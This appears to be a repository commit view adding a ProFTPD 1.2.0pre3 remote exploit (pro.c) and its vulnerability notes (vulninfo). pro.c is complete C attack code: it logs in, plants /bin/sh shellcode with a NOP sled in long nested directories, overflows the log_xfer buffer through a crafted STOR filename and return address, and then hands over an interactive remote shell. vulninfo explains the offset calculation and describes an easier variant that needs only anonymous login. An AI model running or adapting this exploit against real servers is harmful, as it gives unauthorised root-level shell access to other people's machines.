summaryrefslogtreecommitdiff
path: root/exploits/7350proftpd
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits/7350proftpd
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'exploits/7350proftpd')
-rw-r--r--exploits/7350proftpd/pro.c472
-rw-r--r--exploits/7350proftpd/vulninfo55
2 files changed, 527 insertions, 0 deletions
diff --git a/exploits/7350proftpd/pro.c b/exploits/7350proftpd/pro.c
new file mode 100644
index 0000000..673ae41
--- /dev/null
+++ b/exploits/7350proftpd/pro.c
@@ -0,0 +1,472 @@
1/* proftp exploit for 1.2.0pre3 linux
2 * tested on suse 6.2
3 *
4 * note, the shorter your domain name is, the more nops there are....
5 *
6 * comments / criticisms to smiler@tasam.com
7 *
8 * smiler / teso
9 *
10 * [http://teso.scene.at]
11 *
12 */
13
14#include <stdio.h>
15#include <stdlib.h>
16#include <string.h>
17#include <stdarg.h>
18#include <netdb.h>
19#include <unistd.h>
20#include <sys/socket.h>
21#include <netinet/in.h>
22#include <arpa/inet.h>
23
24#define PORT 2666
25
26/* shellcode with 0xff's already doubled up... */
27char hellcode[]=
28 "\xeb\x21\x5b\x31\xc0\x31\xd2\x90\xfe\x0b\xfe\x4b\x04"
29 "\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
30 "\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\xda\xff\xff"
31 "\xff\xff\xff\xff\x30\x62\x69\x6e\x30\x73\x68";
32
33void parse_opts (int argc, char **argv);
34int resolv (char *hostname, struct in_addr *addr);
35void usage (char *s);
36int tcp_connect (struct in_addr addr, unsigned short port);
37int ftp_command (char *buf, int success, FILE *out, char *fmt, ...);
38int send_exploit (FILE *stream);
39int parse_pwd (char *str);
40int stor_file (FILE *stream, char *buf);
41void my_put_long (u_char *ptr, unsigned int l);
42void RunShell (int fd);
43
44struct in_addr victim;
45char init_dir[25],
46 username[25],
47 password[25],
48 hostname[50];
49int offset = 0;
50
51#define RET_ADDR 0xbffff662
52
53
54void
55get_hostname (int fd)
56{
57 struct hostent *res;
58 struct sockaddr_in sa;
59 int len;
60
61 fprintf (stderr, "Trying to get hostname...\n");
62
63 len = 16;
64 getsockname (fd, (struct sockaddr *)&sa, &len);
65 res = gethostbyaddr ((char *)&sa.sin_addr, sizeof (struct in_addr),
66 AF_INET);
67 if (res == NULL) {
68 fprintf (stderr, "no reverse address found...using ip\n");
69 strcpy (hostname, inet_ntoa (sa.sin_addr));
70 } else {
71 strcpy (hostname, res->h_name);
72 }
73 fprintf (stderr,"Hostname: %s\n", hostname);
74 return;
75}
76
77/* open connection to server and call relevant functions
78 */
79int
80talk (void)
81{
82 int fd;
83 int retval = 0;
84 FILE *stream;
85 char buf[1024];
86
87 if ((fd = tcp_connect (victim, 21)) < 0) {
88 perror ("connect");
89 exit (-1);
90 }
91
92 if (*hostname == '\0')
93 get_hostname (fd);
94
95 if ((stream = fdopen (fd, "r")) == NULL) {
96 perror ("fdopen");
97 exit (-1);
98 }
99
100 /* get banner */
101 fgets (buf, sizeof(buf) - 1, stream);
102 fputs (buf, stdout);
103
104
105 if (ftp_command (buf, 331, stream, "USER %s\n", username) < 0) {
106 fprintf (stderr, "Bad username\n");
107 retval = -1;
108 goto err;
109 }
110
111 if (ftp_command (buf, 230, stream, "PASS %s\n", password) < 0) {
112 fprintf (stderr, "Bad password\n");
113 retval = -1;
114 goto err;
115 }
116
117 if (send_exploit (stream) < 0)
118 return (-1);
119
120 RunShell (fd);
121err:
122 close (fd);
123 fclose (stream);
124 return (retval);
125}
126
127/* helper function to make the final directory with shellcode in.
128 */
129void
130make_egg (char *buf, int len)
131{
132 len += 3; /* kludge to offset number of 0xff's in shellcode */
133 memset (buf, 0x90, len);
134 strcpy (buf + len - strlen (hellcode), hellcode);
135 buf[len] = '\0';
136 return;
137}
138
139/*
140 * start making directorys and call stor_file()
141 */
142int
143send_exploit (FILE *stream)
144{
145 int pwdlen,
146 ctr;
147 char buf[1024],
148 tmp[1024];
149
150 bzero (buf, sizeof (buf));
151
152 if (*init_dir)
153 if (ftp_command (buf, 250, stream, "CWD %s\n", init_dir) < 0) {
154 fprintf (stderr, "Bad start directory\n");
155 return (-1);
156 }
157
158 if (ftp_command (buf, 257, stream, "PWD\n") < 0) {
159 fprintf (stderr, "Couldn't get current directory\n");
160 return (-1);
161 }
162
163 pwdlen = parse_pwd (buf);
164 bzero (password, sizeof (password));
165
166 fprintf (stderr, "Making padding directories\n");
167
168 for (ctr = 0; ctr < 4; ctr++) {
169 memset (tmp, 'A', 194);
170 tmp[194] = '\0';
171 if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) {
172 if (!strstr (buf, "File exists")) {
173 fputs (buf, stderr);
174 return (-1);
175 }
176 }
177 if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) {
178 fputs (buf, stderr);
179 return (-1);
180 }
181 }
182
183 /* make the padding directory. it also contains the shellcode.
184 * the STORed file will contain the return address
185 */
186 ctr = 201 - pwdlen - strlen (hostname);
187 if ((ctr+10) < (strlen(hellcode))) {
188 fprintf (stderr, "no space for shellcode - try using a"\
189 " shorter hostname and/or a shorter starting"\
190 " directory\n");
191 return (-1);
192 }
193 make_egg (tmp, ctr);
194 if (ftp_command (buf, 257, stream, "MKD %s\n", tmp) < 0) {
195 fputs (buf, stderr);
196 return (-1);
197 }
198
199 if (ftp_command (buf, 250, stream, "CWD %s\n", tmp) < 0) {
200 fputs (buf, stderr);
201 return (-1);
202 }
203
204 printf ("Press any key to send overflow\n");
205 getchar ();
206 return (stor_file (stream, buf));
207}
208
209/* send STOR command to send final part of the overflow
210 */
211int
212stor_file (FILE *stream, char *buf)
213{
214 u_char *ptr, *ptr2;
215 int listenfd,
216 accfd;
217 struct sockaddr_in sa, tmp;
218 int len;
219 char stor_string[30],
220 ret_string[6];
221
222 listenfd = socket (AF_INET, SOCK_STREAM, 0);
223 bzero (&sa, sizeof (sa));
224 sa.sin_addr.s_addr = htonl (INADDR_ANY);
225 sa.sin_port = htons (0);
226 sa.sin_family = AF_INET;
227
228 bind (listenfd, (struct sockaddr *)&sa, sizeof (sa));
229 listen (listenfd, 1);
230
231 /* get localip and src port */
232 len = 16;
233 getsockname (fileno (stream), (struct sockaddr *)&tmp, &len);
234 getsockname (listenfd, (struct sockaddr *)&sa, &len);
235 ptr = (char *)&tmp.sin_addr;
236 ptr2 = (char *)&sa.sin_port;
237 if (ftp_command (buf, 200, stream, "PORT " \
238 "%d,%d,%d,%d,%d,%d\n",ptr[0],ptr[1],ptr[2],ptr[3],
239 ptr2[0], ptr2[1]) < 0) {
240 fputs (buf, stderr);
241 close (listenfd);
242 return (-1);
243 }
244
245 if (ftp_command (buf, 200, stream, "TYPE I\n") < 0) {
246 close (listenfd);
247 fputs (buf, stderr);
248 return (-1);
249 }
250
251 bzero (stor_string, sizeof (stor_string));
252 bzero (ret_string, sizeof (ret_string));
253 my_put_long (ret_string, RET_ADDR + offset);
254 sprintf (stor_string, "aaaaaaaaaaa%s%s%s%s", ret_string,
255 ret_string, ret_string, ret_string);
256
257 if (ftp_command (buf, 150, stream, "STOR %s\n", stor_string) < 0) {
258 close (listenfd);
259 fputs (buf, stderr);
260 return (-1);
261 }
262
263 accfd = accept (listenfd, (struct sockaddr *)&sa, &len);
264 close (listenfd);
265 /* we dont' want to write anything ! */
266 close (accfd);
267 ftp_command (buf, 226, stream, ""); /* Transfer complete */
268 return (0);
269}
270
271int
272main (int argc, char **argv)
273{
274 puts ("proftp exploit by smiler of teso\n");
275
276 parse_opts (argc, argv);
277
278 talk ();
279 return (0);
280}
281
282void
283parse_opts (int argc, char **argv)
284{
285 char c,
286 *argv0;
287
288 argv0 = strdup (argv[0]);
289
290 *init_dir = '\0';
291 *hostname = '\0';
292
293 while ((c = getopt (argc, argv, "s:h:o:")) != -1) {
294 switch (c) {
295 case 's':
296 strncpy (init_dir, optarg, sizeof (init_dir));
297 break;
298 case 'h':
299 strncpy (hostname, optarg, sizeof (hostname));
300 break;
301 case 'o':
302 offset = atoi (optarg);
303 break;
304 }
305 }
306
307 argc -= optind;
308 argv += optind;
309
310 if (argc < 3)
311 usage (argv0);
312
313 if (!resolv (argv[0], &victim)) {
314 herror ("resolv");
315 usage (argv0);
316 }
317
318 strncpy (username, argv[1], sizeof (username));
319 strncpy (password, argv[2], sizeof (password));
320 bzero (argv[2], strlen (argv[2]));
321
322 free (argv0);
323 return;
324}
325
326/* generic function to send a command to an ftp server and
327 * parse the response
328 * compares the return value from the ftp server to 'success'
329 */
330int
331ftp_command (char *buf, int success, FILE *out, char *fmt, ...)
332{
333 va_list va;
334 char line[2048];
335
336 va_start (va, fmt);
337 vsprintf (line, fmt, va);
338 va_end (va);
339
340 if (send (fileno (out), line, strlen (line), 0) <= 0)
341 return (-1);
342
343 for (;;) {
344 fgets (line, sizeof (line) - 1, out);
345 if (*(line + 3) != '-')
346 break;
347 }
348 strncpy (buf, line, 1024);
349
350 if (success != atoi (line))
351 return (-1);
352
353 return (1);
354}
355
356int
357parse_pwd (char *str)
358{
359 char *ptr, *ptr2;
360
361 ptr = strchr (str, '\"');
362 if (!ptr++) return (0);
363
364 ptr2 = strchr (ptr + 1, '\"');
365 if (!ptr2) return (0);
366
367 *ptr2-- = '\0';
368 while (*ptr2 == '/') *ptr2-- = '\0';
369
370 printf ("Start dir = %s\n", ptr);
371 return (strlen (ptr));
372}
373
374int
375tcp_connect (struct in_addr addr, unsigned short port)
376{
377 struct sockaddr_in sa;
378 int fd;
379
380 fd = socket (AF_INET, SOCK_STREAM, 0);
381 if (fd < 0)
382 return (-1);
383
384 bzero (&sa, sizeof (sa));
385 sa.sin_family = AF_INET;
386 sa.sin_port = htons (port);
387 sa.sin_addr.s_addr = victim.s_addr;
388
389 if (connect (fd, (struct sockaddr *)&sa, sizeof (sa)) < 0)
390 return (-1);
391
392 return (fd);
393}
394
395int
396resolv (char *hostname, struct in_addr *addr)
397{
398 struct hostent *res;
399
400 if (inet_aton (hostname, addr))
401 return (1);
402
403 res = gethostbyname (hostname);
404 if (res == NULL)
405 return (0);
406
407 memcpy ((char *)addr, res->h_addr, sizeof (struct in_addr));
408 return (1);
409}
410
411void
412usage (char *s)
413{
414 fprintf (stderr,"usage: %s <hostname> <username> <password> ",
415 s);
416 fputs ("[-s start directory] [-h your hostname]\n", stderr);
417 exit (-1);
418}
419
420/* used to put the return address into the egg, doubling up the 0xff's
421 */
422void
423my_put_long (u_char *ptr, unsigned int l)
424{
425 int i;
426 u_char *ptr2;
427
428 ptr2 = (char *)&l;
429 for (i = 0; i < 4; i++) {
430 *ptr++ = *ptr2;
431 if (*ptr2 == 0xff) *ptr++ = 0xff;
432 ptr2++;
433 }
434 return;
435}
436
437void
438RunShell (int fd)
439{
440 u_char buf[1024];
441 fd_set rset;
442 int n;
443
444 for (;;) {
445 FD_ZERO (&rset);
446 FD_SET (fd, &rset);
447 FD_SET (STDIN_FILENO, &rset);
448
449 n = select (fd + 1, &rset, NULL, NULL, NULL);
450 if (n <= 0) {
451 perror ("select");
452 return;
453 }
454
455 if (FD_ISSET (fd, &rset)) {
456 n = recv (fd, buf, sizeof (buf), 0);
457 if (n <= 0) {
458 fprintf (stderr, "Connection closed.\n");
459 return;
460 }
461 write (STDOUT_FILENO, buf, n);
462 }
463
464 if (FD_ISSET (STDIN_FILENO, &rset)) {
465 n = read (STDIN_FILENO, buf, sizeof (buf));
466 if (n <= 0)
467 return;
468
469 send (fd, buf, n, 0);
470 }
471 }
472}
diff --git a/exploits/7350proftpd/vulninfo b/exploits/7350proftpd/vulninfo
new file mode 100644
index 0000000..18f1f27
--- /dev/null
+++ b/exploits/7350proftpd/vulninfo
@@ -0,0 +1,55 @@
1I know of at least 2 vulnerabilites in proftp, although looking at the
2code there are probably hundreds more.
3
4The first one is in sreplace() and is overflowable by making lots of
5nested paths. The overflow is in the form of a while loop where a pointer
6to a local buffer is continually written to and incremented. It is
7particularly difficult to exploit because you have to overwrite many
8arguments on the stack, including an array of pointers and the pointer
9itself ! Unless you can preserve the stack by being very cunning this is
10effectively unexploitable. (it segfaults before the function returns).
11
12The second one is much nicer. it occurs in log_xfer when STOR command is
13invoked.
14--
15 sprintf(buf,"%s %d %s %lu %s %c _ %c %c %s ftp 0 *\n",
16 fmt_time(time(NULL)),xfertime,remhost,fsize,
17 fname,xfertype,direction,access,user);
18--
19where fname is the name of the file u are STORing and buf is the only
20local buffer on the stack (1024 bytes long);
21
22This is not so easy since you have to take account of the length of the
23arguments preceding fname, i.e. fmt_time(time(NULL)), xfertime, remhost,
24fsize
25 heres a snippet from my xferlog file:
26--
27Thu Dec 2 19:19:14 1999 0 localhost 0 /tmp/blah b _ i r dave ftp 0 *
28--
29^^^^^^^^^^^^^^^^^^^^^^^^
30The formatted time is thankfully always the same size, 24 bytes,
31the xfer time is dependant on how long you stay connected, preferably 0,
32giving a 1 byte string. the hostname that the remote server sees, you
33should be able to find out yourself for sure(try SMTP).
34the fsize you should be able to control as well, in my case 0.
35
36So adding all that up gives an inital offset into the buffer of
3730 + strlen(hostname)
38therefore the distance until the end of the buffer is 996-strlen(hostname)
39bytes
40
41consider the length of the buffer to be 996-strlen(hostname)
42
43Calculating the offset is quite difficult off hand but basically all you
44have to do is create 4 big directorys (194 chars long), then another
45directory approx 200 - strlen(initdir) - strlen(hostname) chars long with
46the nops and shellcode. then STOR a 19 byte string with the return
47addresses at the end. Note that this last directory has to have a length
48<= 194 but this shouldn't be a problem unless you are writing to '/' with a
494 char hostname....
50
51Hopefully this won't 'exploit' the first bug explained above because the
52string we are sending is too small to overflow that buffer
53(1004-strlen(hostname)).
54
55update: I just found out there is a far better (and easier!) way to exploit proftp which requires only anonymous and a file which you can read. it is still in log_xfer(). all you have to do is log in as anonymous with a really long password and do RETR somefile. the transfer (including your password) is logged, and voila. I have to get around to adding this.